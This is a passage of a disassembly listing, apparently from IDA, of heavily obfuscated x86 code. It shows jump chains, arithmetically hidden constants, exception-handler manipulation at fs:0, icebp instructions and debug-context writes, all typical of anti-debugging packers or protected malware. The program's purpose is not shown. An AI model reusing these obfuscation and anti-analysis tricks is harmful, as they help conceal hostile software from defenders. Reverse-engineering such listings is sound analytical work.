--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BDB1: ; CODE XREF: sub_439ED1+9A5j jmp loc_43BB26 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BDB8: ; CODE XREF: sub_439ED1+54B1j mov byte ptr [edi], 3 xchg ebp, [esp-1Ch+arg_14] mov edi, ebp pop ebp ; END OF FUNCTION CHUNK FOR sub_439ED1 ; START OF FUNCTION CHUNK FOR sub_43F688 loc_43BDC1: ; CODE XREF: sub_43F688:loc_437F0Fj mov [ebp+eax-20h], dl push ecx jmp loc_43D67D ; END OF FUNCTION CHUNK FOR sub_43F688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437E4F loc_43BDCB: ; CODE XREF: sub_437E4F:loc_43986Dj dec edi or [edx-0E0D0B08h], edi xor eax, eax cld ; END OF FUNCTION CHUNK FOR sub_437E4F ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BDD5: ; CODE XREF: sub_439ED1:loc_43B0B8j ; sub_43B32C+1j ... call loc_43A310 jmp loc_43CADF ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- add esi, eax jmp loc_43E255 ; --------------------------------------------------------------------------- align 4 jno loc_43EEA2 xchg ecx, [esp] pop ecx push 4481E827h xchg edi, [esp] jmp loc_437C3B ; --------------------------------------------------------------------------- align 10h dd 0AEE95100h, 0FFFFEDh, 0B6C38100h, 0E8735A82h, 0D41h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BE15: ; CODE XREF: sub_439ED1+437Ej jmp loc_43A9A8 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 0E900h dd 31A5h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS KEYPAD "+" TO EXPAND] db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BE23: ; CODE XREF: sub_439ED1+44D3j jmp near ptr dword_43729C+33h ; --------------------------------------------------------------------------- loc_43BE28: ; CODE XREF: sub_439ED1-921j jmp loc_438EE5 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 87h, 0F0h, 0E9h dd 0FFFFDE9Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_43BE36: ; CODE XREF: _802izwe5:004376DAj jp loc_43E495 ; =============== S U B R O U T I N E ======================================= sub_43BE3C proc near ; CODE XREF: sub_4390D8:loc_43CDBCp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00438772 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439063 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 00439171 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043958E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00439999 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C250 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0043CA8A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D351 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043D65F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043D8C2 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043EE26 SIZE 0000001D BYTES xchg ecx, [esp+0] pop ecx push 6F83CC4Dh jmp loc_43C250 sub_43BE3C endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_43BE4A: ; CODE XREF: _802izwe5:0043768Ej jnz loc_43D01A cmp ebp, 65261D41h jmp loc_439EB7 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43BE5C: ; CODE XREF: sub_43C65A+10BDj cmpsd aad 81h retn 5F9Bh ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- dw 6F11h dd 43AF5068h, 0C771E900h, 5300FFFFh, 0A5E9D92Bh, 1Eh db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BE79: ; CODE XREF: sub_439ED1-1A05j mov dword ptr [ecx], 10013h add ecx, 18h push offset loc_43E994 jmp loc_43CE50 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 10h dd 0BD850F00h, 0E9FFFFFAh, 0FFFFE897h db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS KEYPAD "+" TO EXPAND] align 10h loc_43BEA0: ; CODE XREF: _802izwe5:0043F52Dj jmp loc_43E237 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_43C50C loc_43BEA6: ; CODE XREF: sub_43C50C+2A97j jmp loc_43F8F5 ; END OF FUNCTION CHUNK FOR sub_43C50C ; --------------------------------------------------------------------------- loc_43BEAB: ; CODE XREF: _802izwe5:0043CDB5j jmp loc_4395F7 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BEB1: ; CODE XREF: sub_439ED1-A77j jmp loc_43F406 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438C04 loc_43BEB7: ; CODE XREF: sub_438C04:loc_437B4Cj xchg eax, [esp+8+var_8] push ebx push 85BBADA6h pop ebx rol ebx, 19h xor ebx, 4D0B765Bh jmp loc_43E6C4 ; END OF FUNCTION CHUNK FOR sub_438C04 ; --------------------------------------------------------------------------- byte_43BECF db 0C6h ; DATA XREF: sub_439ED1:loc_43A4ABo dd 685E8706h, 43D611h, 0FFB901E9h, 8B0000FFh, 10C181CCh dd 8B000000h, 1301C709h, 33000100h, 4C181C0h, 89000000h dd 4C18101h, 0E9000000h, 0FFFFE0BBh, 3F5860Fh, 0DB810000h dd 6246248Eh, 41BE9h, 879D0000h, 6859240Ch, 0F54D86EDh dd 134EE9h db 0 db 51h ; Q db 0E9h ; é db 50h ; P db 14h db 0 db 0 ; --------------------------------------------------------------------------- sub eax, 3426FB76h js loc_43F0BD ; START OF FUNCTION CHUNK FOR sub_43CAE5 loc_43BF37: ; CODE XREF: sub_43CAE5+Cj jmp loc_43D9E6 ; END OF FUNCTION CHUNK FOR sub_43CAE5 ; --------------------------------------------------------------------------- jmp locret_43CAAD ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BF43: ; CODE XREF: sub_439ED1-1F59j jmp loc_43999E ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dd 0DF810000h, 1B1BC4E3h, 8D0FDE03h, 0FFFFCF35h, 5EE99C99h db 31h, 2 dup(0) ; --------------------------------------------------------------------------- loc_43BF5F: ; DATA XREF: sub_437E10+7o pop ebp push esp jmp locret_437328 ; --------------------------------------------------------------------------- dw 0E800h dd 1AD0h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BF6E: ; CODE XREF: sub_439ED1+4BA7j jmp loc_4376AD ; --------------------------------------------------------------------------- loc_43BF73: ; CODE XREF: sub_439ED1:loc_43ABE5j jmp loc_43E7BB ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DA03 loc_43BF78: ; CODE XREF: sub_43DA03-6312j jmp loc_43A31B ; END OF FUNCTION CHUNK FOR sub_43DA03 ; --------------------------------------------------------------------------- db 2 dup(0), 0F7h ; --------------------------------------------------------------------------- xlat jmp loc_43A1E2 ; --------------------------------------------------------------------------- jb loc_437C79 jmp loc_43A5E9 ; --------------------------------------------------------------------------- not esi jmp sub_438E1C ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DA03 loc_43BF9A: ; CODE XREF: sub_43DA03+C89j jnz loc_437DC9 jmp loc_438D18 ; END OF FUNCTION CHUNK FOR sub_43DA03 ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43BFA6: ; CODE XREF: sub_43C65A:loc_43E1F1j lock icebp jmp loc_43EBEB ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- loc_43BFAD: ; CODE XREF: _802izwe5:loc_43E495j ; DATA XREF: _802izwe5:00438AB6o push eax push 0E1B2E0E7h pop eax or eax, 63DCEA9Eh rol eax, 0Eh add eax, 4583E7D5h xchg eax, [esp] jmp loc_43D4E2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43BFCB: ; CODE XREF: sub_439ED1-A98j add eax, 1F76F798h jge short $+2 call sub_437775 loc_43BFD8: ; CODE XREF: sub_43F18B-2625j jmp nullsub_14 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 dw 4DE9h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4390D8 loc_43BFE3: ; CODE XREF: sub_4390D8+9j jmp loc_43CDBC ; END OF FUNCTION CHUNK FOR sub_4390D8 ; =============== S U B R O U T I N E ======================================= sub_43BFE8 proc near ; CODE XREF: sub_439ED1+BD7p xchg edi, [esp+0] pop edi xor eax, 97BBACFDh add eax, ebp push offset dword_43BA94 jmp nullsub_18 sub_43BFE8 endp ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_43BFFF proc near ; CODE XREF: _802izwe5:loc_439C38p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00438268 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004389B9 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00439A17 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DCB3 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043E5B4 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043EBD9 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043F6F8 SIZE 00000016 BYTES xchg eax, [esp+4+var_4] pop eax push edx push 8DAE2201h xchg ebp, [esp+0] mov edx, ebp pop ebp jmp loc_43DCB3 sub_43BFFF endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DA03 loc_43C016: ; CODE XREF: sub_43DA03-61CFj call sub_43C4C7 jmp loc_43A8BB ; END OF FUNCTION CHUNK FOR sub_43DA03 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C022: ; CODE XREF: sub_439ED1:loc_43AA5Cj mov byte ptr [eax], 9Dh xchg edi, [esp-14h+arg_C] mov eax, edi pop edi xchg ebp, [esp-18h+arg_10] jmp loc_43941F ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_43C034 proc far ; CODE XREF: sub_43BFFF+2BE2p ; FUNCTION CHUNK AT 00439D3F SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043AF6A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043B28B SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0043B494 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043B537 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043D28E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043EA52 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F0F4 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov [ecx], eax push edx push 4F381904h pop edx or edx, 41CF417Dh jmp loc_43AF6A sub_43C034 endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0C0815800h, 32CEF66Eh, 4BDFE881h, 0C0814B5Ah, 81C00D95h dd 0BC5FF081h, 0C8035CCEh, 0D76FE958h, 0FFFFh, 0FD81CA1Bh dd 0C8027A9Ch, 0B38E9h db 3 dup(0) ; --------------------------------------------------------------------------- loc_43C07F: ; CODE XREF: _802izwe5:00437EE0j jle loc_438DF9 loc_43C085: ; CODE XREF: _802izwe5:00437DEEj rol edi, 1Bh xor edi, 0C4937141h add edi, 0AF022ACAh xchg edi, [esp] das adc eax, offset dword_4270C0 push offset sub_438989 jmp loc_43F98A ; --------------------------------------------------------------------------- loc_43C0A7: ; CODE XREF: _802izwe5:loc_43BA7Ej mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h mov al, [ecx] jmp loc_43C14E ; --------------------------------------------------------------------------- db 0 ; =============== S U B R O U T I N E ======================================= sub_43C0C5 proc near ; CODE XREF: _802izwe5:0043F297j ; FUNCTION CHUNK AT 0043D5A7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EBAB SIZE 00000015 BYTES xchg ebx, [esp+0] pop ebx mov ecx, [ecx] mov dword ptr [ecx], 10013h xor eax, eax add ecx, 4 mov [ecx], eax ; CODE XREF: sub_43C109:loc_43C113j add ecx, 4 jmp loc_43EBAB sub_43C0C5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 1EBBF081h, 0E3813F05h, 0AD854DB0h, 0FFE71BE9h, 0B4E781FFh db 4Fh, 0C2h, 9Ah ; =============== S U B R O U T I N E ======================================= sub_43C0FF proc far xchg eax, [esp+0] pop eax push esi jmp loc_43A40B sub_43C0FF endp ; =============== S U B R O U T I N E ======================================= sub_43C109 proc near ; CODE XREF: _802izwe5:00439627p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0043D7DD SIZE 00000009 BYTES xchg eax, [esp+0] pop eax xor eax, 68A6A309h loc_43C113: ; DATA XREF: sub_438378:loc_43F445o jnp short near ptr loc_43C0D9+1 add eax, 0C7585CE8h mov eax, [eax] pop ecx jmp loc_43D7DD sub_43C109 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 loc_43C124: ; CODE XREF: _802izwe5:loc_43D05Bj pop edx push 37E8F2ACh pop eax sub eax, 0D411F1AEh rol eax, 3 or eax, 0DCD3D2F5h sub eax, 70D3D977h add eax, 921BC35Bh jmp loc_439E25 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- locret_43C14D: ; CODE XREF: _802izwe5:loc_43BC16j retn ; --------------------------------------------------------------------------- loc_43C14E: ; CODE XREF: _802izwe5:0043C0BFj jmp loc_43F1CD ; --------------------------------------------------------------------------- align 4 db 0 ; =============== S U B R O U T I N E ======================================= sub_43C155 proc near ; CODE XREF: sub_439ED1+3C8Ep xchg edx, [esp+0] xchg eax, [esp+0] mov edx, eax pop eax push 0BB576C1Dh pop edx jmp near ptr dword_439304+9 sub_43C155 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43C169 proc near ; DATA XREF: _802izwe5:0043ED60o ; FUNCTION CHUNK AT 0043CA3D SIZE 0000000A BYTES push edi push 0B91172ADh pop edi xor edi, 0C987412Bh or edi, 5B1194Bh rol edi, 5 add edi, 495C2740h jmp loc_43CA3D sub_43C169 endp ; --------------------------------------------------------------------------- align 4 sub esi, ecx ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C18E: ; CODE XREF: sub_439ED1:loc_43772Ej xor ecx, 0D48B4B65h add ecx, 0B2F894Bh ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 0CD62h dd 2BF3C181h, 1899D2Dh, 43DCCA68h, 0CB2BE900h, 8900FFFFh dd 4C18101h, 89000000h, 4C18101h, 89000000h, 0A0C18101h dd 0C7000000h, 43A6CC01h, 0E620E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43C1D2: ; CODE XREF: _802izwe5:loc_439E25j ; DATA XREF: sub_43DA03:loc_43782Fo inc ebp add al, 24h jmp near ptr sub_43D93F ; --------------------------------------------------------------------------- dw 0C300h db 2 dup(0) ; --------------------------------------------------------------------------- loc_43C1DE: ; CODE XREF: _802izwe5:loc_437E5Ej ; _802izwe5:0043EC83j push eax push 0D43FB67Fh jmp loc_43E69B ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43C1EB: ; CODE XREF: _802izwe5:0043ADE2j push edx cmp eax, 0BED9F213h jmp near ptr dword_439B78+18h ; --------------------------------------------------------------------------- align 4 dd 1FE3C100h, 5F243C87h, 87CA8B51h, 2E9240Ch db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43C20B: ; CODE XREF: _802izwe5:0043B816j not edi rol eax, 8 sub eax, 87DE6C48h add eax, 63C3E180h jmp loc_438F72 ; --------------------------------------------------------------------------- mov esi, ebp jmp near ptr sub_43EB57 ; --------------------------------------------------------------------------- test eax, 0B12332ABh jmp loc_43E4C0 ; --------------------------------------------------------------------------- align 4 db 0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_28. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C236: ; CODE XREF: sub_439ED1+1BBDj and edx, ecx sbb edi, 6A9FF2FCh pop edi loc_43C23F: ; DATA XREF: _802izwe5:00438558o pop dword ptr fs:0 xchg eax, [esp+14h+var_14] pop eax jmp loc_43DC91 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_43BE3C loc_43C250: ; CODE XREF: sub_43BE3C+9j pop eax and eax, 4E7E9E0h rol eax, 14h add eax, 7C422920h loc_43C260: ; CODE XREF: sub_439ED1:loc_43EA16j jns loc_43D351 js loc_43E682 mov edx, [eax] jmp loc_43D65F ; END OF FUNCTION CHUNK FOR sub_43BE3C ; --------------------------------------------------------------------------- align 4 dd 241C8700h, 0BBF7815Bh, 3494914h, 2BD5E9CFh db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C287: ; CODE XREF: sub_439ED1+5E9j xchg ecx, [esp+4+var_4] xchg ebp, [esp+4+var_4] mov ecx, ebp pop ebp add eax, ebp add eax, 398D7FDBh jmp loc_43E599 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) byte_43C29F db 81h ; DATA XREF: sub_43C65A:loc_43C97Fo dd 0BC3D50C7h, 2296E894h db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C2AB: ; CODE XREF: sub_439ED1:loc_43AA55j xor eax, eax push edx push 1148985Eh pop edx rol edx, 12h xor edx, 0B9BBBF11h add edx, 273C05D1h add ecx, edx jmp loc_43F813 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] align 4 dd 243C8700h, 2414875Fh, 173FE9h db 2 dup(0) word_43C2DA dw 5E9h ; DATA XREF: sub_439ED1+60Do ; --------------------------------------------------------------------------- push ebx mov bl, 43h add [eax+65h], ch pushf inc ebx add cl, ch retf ; --------------------------------------------------------------------------- db 24h db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_43C2EA proc near ; CODE XREF: _802izwe5:00437336p ; _802izwe5:0043F5AAj arg_4 = dword ptr 8 xchg edx, [esp+0] pop edx popf xchg esi, [esp-8+arg_4] retn sub_43C2EA endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 4 dd 7F366800h, 0EFE90043h db 0D1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43C2FF: ; CODE XREF: _802izwe5:loc_43AF8Dj pushf push 2DE1779Ch pop ecx add ecx, 4A95C478h jnb loc_43D739 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438378 loc_43C314: ; CODE XREF: sub_438378+70D2j jmp loc_43A050 ; END OF FUNCTION CHUNK FOR sub_438378 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43C31B: ; CODE XREF: _802izwe5:00439E8Ej jmp near ptr dword_437548+84h ; --------------------------------------------------------------------------- xchg ebp, edx mov ebx, [esi] or eax, 83D365D7h jmp loc_43BD88 ; --------------------------------------------------------------------------- align 10h dd 5A241487h, 93CEC181h, 0CAE8D716h, 14h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C340: ; CODE XREF: sub_439ED1+5592j jmp loc_43EBC0 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 0FFFFD4EBh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C34C: ; CODE XREF: sub_439ED1-22B3j jmp loc_438400 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- jmp loc_43F5B0 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C358: ; CODE XREF: sub_439ED1+4B9Bj mov byte ptr [eax], 52h xchg esi, [esp-0Ch+arg_8] mov eax, esi pop esi and edx, 0E7D6BBCCh rol edx, 1Dh add edx, 3347239Ch push ecx jmp loc_43B74D ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C378: ; CODE XREF: sub_439ED1:loc_43A106j mov [ecx], eax add ecx, 0A0h mov dword ptr [ecx], offset loc_438519 xor eax, eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 mov esi, 0DB321A6Ch jmp loc_43C959 ; --------------------------------------------------------------------------- dw 8700h dd 815B241Ch, 9128D1C3h, 241C8700h, 0FFB4B0E8h db 0FFh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43ECCE loc_43C3A9: ; CODE XREF: sub_43ECCE+6j jmp loc_43A7A3 ; END OF FUNCTION CHUNK FOR sub_43ECCE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C3AE: ; CODE XREF: sub_439ED1:loc_43B52Cj mov [ecx], eax add ecx, 4 mov [ecx], eax add ecx, 4 mov [ecx], eax jmp near ptr dword_437A98+20h ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- locret_43C3C5: ; CODE XREF: _802izwe5:0043BA4Aj retn ; --------------------------------------------------------------------------- dw 0E900h dd 1E99h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C3CC: ; CODE XREF: sub_439ED1+224j db 2Eh icebp jmp near ptr dword_437428+8 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 db 0 byte_43C3D5 db 0Fh, 83h, 9Ah ; DATA XREF: sub_439ED1+D29o dd 0FFFFFDFh, 246A85h, 0C58B5000h, 0FFB9B3E9h, 0E9F133FFh dd 2DADh db 0 ; =============== S U B R O U T I N E ======================================= sub_43C3F1 proc near ; CODE XREF: _802izwe5:0043B286j ; _802izwe5:0043CDE4p xchg esi, [esp+0] pop esi popf push offset loc_43B2AB jmp near ptr dword_437340+65h sub_43C3F1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- loc_43C401: ; CODE XREF: _802izwe5:0043B65Aj push esi mov esi, edx xchg esi, [esp] push 8AAEA09h pop edx sub edx, 3CC282ACh add edx, 345B54AFh jmp loc_43CF35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C41E: ; CODE XREF: sub_439ED1+12Fj mov ecx, esp push esi push 0DF8DE730h pop esi sub esi, 176FADE3h xor esi, 0C81E395Dh add ecx, esi pop esi jmp near ptr dword_438230+26h ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C43D: ; CODE XREF: sub_439ED1-EE1j mov dword ptr [ecx], offset loc_43D3AA xor eax, eax pop ecx retn ; --------------------------------------------------------------------------- loc_43C447: ; CODE XREF: sub_439ED1+713j jmp loc_43F9D1 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C65A loc_43C44D: ; CODE XREF: sub_43C65A-4067j jmp loc_43D259 ; END OF FUNCTION CHUNK FOR sub_43C65A ; --------------------------------------------------------------------------- align 4 push dword ptr fs:0 mov fs:0, esp pushf jmp loc_43EC96 ; --------------------------------------------------------------------------- align 4 popf add ecx, edi pop edi mov [ecx], eax add ecx, 4 mov [ecx], eax jmp loc_43DF04 ; --------------------------------------------------------------------------- align 4 locret_43C47C: ; CODE XREF: _802izwe5:0043954Bj retn ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C47F: ; CODE XREF: sub_439ED1+5545j jmp near ptr dword_4383C4+1 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C486: ; CODE XREF: sub_439ED1+914j jmp near ptr dword_4392C0+20h ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 4 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_56. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_43C48D: ; CODE XREF: _802izwe5:00439605j jmp loc_43F21D ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_438CBC loc_43C494: ; CODE XREF: sub_438CBC+Cj jmp loc_43F4C6 ; END OF FUNCTION CHUNK FOR sub_438CBC ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- loc_43C49B: ; CODE XREF: _802izwe5:00437294j jz near ptr dword_43718C+0A8h ; --------------------------------------------------------------------------- db 2 dup(0), 0E9h dd 2481h, 8B15C6C1h, 0AD82E91Ah db 2 dup(0FFh), 0 ; --------------------------------------------------------------------------- loc_43C4B3: ; CODE XREF: _802izwe5:004380E3j call sub_43DE71 ; START OF FUNCTION CHUNK FOR sub_43D40D loc_43C4B8: ; CODE XREF: sub_43D40D+1E4j jmp loc_43A8D9 ; END OF FUNCTION CHUNK FOR sub_43D40D ; --------------------------------------------------------------------------- align 2 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C4BE: ; CODE XREF: sub_439ED1:loc_43A636j pop ecx retn ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- loc_43C4C0: ; CODE XREF: _802izwe5:0043869Ej jmp loc_43DF87 ; --------------------------------------------------------------------------- db 2 dup(0) ; =============== S U B R O U T I N E ======================================= sub_43C4C7 proc near ; CODE XREF: sub_43DA03:loc_43C016p push dword ptr fs:0 mov fs:0, esp call loc_43E15A loc_43C4D8: ; CODE XREF: sub_43DE71+Fj jmp loc_43AC2C sub_43C4C7 endp ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C4DF: ; CODE XREF: sub_439ED1+9E3j jmp loc_437C94 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DB2C loc_43C4E5: ; CODE XREF: sub_43DB2C-3FBAj jmp loc_43813B ; END OF FUNCTION CHUNK FOR sub_43DB2C ; --------------------------------------------------------------------------- align 4 ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C4EC: ; CODE XREF: sub_439ED1:loc_43EF47j jge loc_43CFE8 ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439ED1 loc_43C4F4: ; CODE XREF: sub_439ED1+1D6j jmp loc_43DB5D ; END OF FUNCTION CHUNK FOR sub_439ED1 ; --------------------------------------------------------------------------- align 2 cmp edi, edx jmp loc_43CFDD ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CAE5 loc_43C503: ; CODE XREF: sub_43CAE5-4B5Cj pop ecx retn ; END OF FUNCTION CHUNK FOR sub_43CAE5 ; --------------------------------------------------------------------------- db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438FC9 loc_43C507: ; CODE XREF: sub_438FC9+Dj jmp loc_43ABAE ; END OF FUNCTION CHUNK FOR sub_438FC9 ; =============== S U B R O U T I N E ======================================= sub_43C50C proc near ; CODE XREF: sub_439ED1+312Bp var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00437D94 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BEA6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043ED6C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043EF9D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043F106 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0043F8F5 